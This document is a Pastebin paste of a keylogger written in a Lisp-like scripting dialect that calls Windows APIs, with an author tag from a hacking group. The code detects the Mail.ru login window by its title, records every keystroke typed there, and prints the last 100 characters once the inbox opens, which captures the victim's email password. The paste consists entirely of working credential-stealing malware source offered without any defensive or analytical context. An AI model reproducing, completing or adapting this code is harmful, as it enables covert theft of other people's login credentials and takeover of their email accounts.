Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;; Author: BByte(HackPower - HN1)
- (defun s_cmp_p(s p)
- (let j 0)
- (let c 0)
- (let l (- (length p) 1))
- (loop (< j (length s))
- (cond ((= (aref s j) (aref p c))(let c (+ c 1))))
- (cond ((= c l) (exit 1)))
- (let j (+ j 1))) 0)
- (defun get_status(hwnd)
- (let s (malloc 255))
- (let result 1)
- (let c 0)
- (callapi "GetWindowTextA" "user32.dll" hwnd s 255)
- (loop (< c 2)
- (cond ((= c 0)(let p "Mail.ru:,,,"))
- ((= c 1)(let p "Входящие-ПочтаMail.ru")))
- (cond ((= (s_cmp_p (getstring s) p) 1)
- (cond ((= c 0)(let result 2))
- ((= c 1)(let result 3)))))
- (let c (+ c 1)))
- (free s) result)
- (defun get_pressed_key(k)
- (let result 0)
- (let idx 1)
- (let sz 11)
- (let a '(192 189 187 220 219 221 186 222 188 190 191))
- (let b '(96 45 61 92 91 93 59 39 44 46 47))
- (cond ((> (callapi "GetKeyState" "user32.dll" (hex "10")) (hex "8001"))
- (let a '(192 49 50 51 52 53 54 55 56 57 48 189 187 220 219 221 186 222 188 190 191))
- (let b '(126 15 64 17 36 37 94 38 42 40 41 95 43 124 123 125 58 34 60 62 63))
- (let idx 0)(let sz 21)))
- (cond ((bitwise-and (> k (hex "29")) (< k (hex "5B")))
- (cond ((= idx 1)(let result (callapi "tolower" "msvcrt.dll" k)))
- ((= idx 0) (let result (callapi "toupper" "msvcrt.dll" k))))))
- (let j 0)
- (loop (< j sz)
- (cond ((= k (aref a j))
- (let result (aref b j))))
- (let j (+ j 1)))result)
- (defun main()
- (let log (malloc 512))
- (let c 0)
- (callapi "memset" "msvcrt.dll" log 0 512)
- (loop 1
- (let hwnd (callapi "GetForegroundWindow" "user32.dll"))
- (let status (get_status hwnd))
- (cond ((= status 2)
- (let j 0)
- (loop (< j 255)
- (cond ((= (callapi "GetAsyncKeyState" "user32.dll" j) (hex "FFFF8001"))
- (let ch (get_pressed_key j))
- (cond ((> ch 0)
- (setbyte log c ch)
- (let c (+ c 1))
- (cond ((= c 512)
- (callapi "memset" "msvcrt.dll" log 0 512)
- (let c 0)))))))
- (let j (+ j 1))))
- ((bitwise-and (= status 3) (> c 0))
- (cond ((bitwise-or (> c 100) (= c 100))
- (let temp (malloc 150))
- (let k 0)
- (let c (- c 100))
- (loop (< k 100)
- (setbyte temp k (getbyte log (+ c k)))
- (let k (+ k 1)))
- (callapi "memset" "msvcrt.dll" log 0 512)
- (callapi "memcpy" "msvcrt.dll" log temp 100)
- (free temp)))
- ;;##############################
- (print (getstring log))
- ;;##############################
- (callapi "memset" "msvcrt.dll" log 0 512)
- (let c 0)
- ))))
- (main)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement